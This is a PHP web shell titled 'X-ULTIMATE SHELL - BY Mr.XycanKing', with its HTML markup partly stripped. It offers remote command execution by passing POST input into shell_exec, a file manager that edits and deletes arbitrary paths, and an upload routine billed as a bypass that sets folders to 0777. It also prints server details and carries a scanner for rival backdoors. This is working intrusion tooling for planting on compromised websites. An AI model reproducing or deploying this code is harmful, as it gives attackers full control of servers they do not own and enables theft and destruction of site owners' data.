"); } } $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace('\\', '/', $path); $os = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? "Windows" : "Linux"; echo ""; echo "

[ X-ULTIMATE SHELL - BY Mr.XycanKing ]

"; echo "

OS: $os | IP: {$_SERVER['SERVER_ADDR']} | USER: ".get_current_user()." | [ LOGOUT ]

"; // BREADCRUMB NAV echo "

PATH: "; $ps = explode('/', $path); foreach($ps as $id => $p) { echo "$p/"; } echo "

"; // BYPASS UPLOAD & SCANNER TOOLS echo "

TOOLS: [ BACKDOOR SCANNER ] | [ CMD EXEC ]

"; // TOOL: BACKDOOR SCANNER (Mencari file mencurigakan) if($_GET['tool'] == 'scanner'){ echo "

[ BACKDOOR SCANNER ]

"; $files = scandir($path); foreach($files as $f){ if(is_file($path.'/'.$f)){ $cont = file_get_contents($path.'/'.$f); if(preg_match('/(base64_decode|eval|system|shell_exec|passthru)/i', $cont)){ echo "[!] Detected: $f (Contains Suspicious Functions)
"; } } } echo "

"; } // TOOL: CMD if($_GET['tool'] == 'cmd'){ echo "

"; if($_POST['c']){ echo "

".shell_exec($_POST['c']." 2>&1")."

"; } echo "

"; } // UPLOAD LOGIC (ANTI-0KB & BYPASS) if(isset($_POST['up'])){ $d = $path.'/'.$_FILES['f']['name']; @chmod($path, 0777); if(@copy($_FILES['f']['tmp_name'], $d) || @move_uploaded_file($_FILES['f']['tmp_name'], $d) || @file_put_contents($d, file_get_contents($_FILES['f']['tmp_name']))){ echo "[+] SUCCESS: ".basename($d)." (".filesize($d)." B)"; } else { echo "[-] FAILED!"; } } // FILE MANAGER TABLE echo ""; foreach(scandir($path) as $i){ if($i == '.' || $i == '..') continue; $f = $path.'/'.$i; $is_d = is_dir($f); echo ""; } echo "

NAME	SIZE	ACT
".($is_d ? "[ $i ]" : $i)."	".($is_d ? "DIR" : filesize($f)." B")."	Edit \| Del

"; // ACTION HANDLERS if($_GET['act'] == 'edit'){ if(isset($_POST['s'])){ @file_put_contents($_GET['item'], $_POST['t']); echo "SAVED!"; } echo "

"; } if($_GET['act'] == 'del'){ @is_dir($_GET['item']) ? @rmdir($_GET['item']) : @unlink($_GET['item']); echo ""; } ?>

[ X-SHELL LOGIN ]

[ X-ULTIMATE SHELL - BY Mr.XycanKing ]

[ BACKDOOR SCANNER ]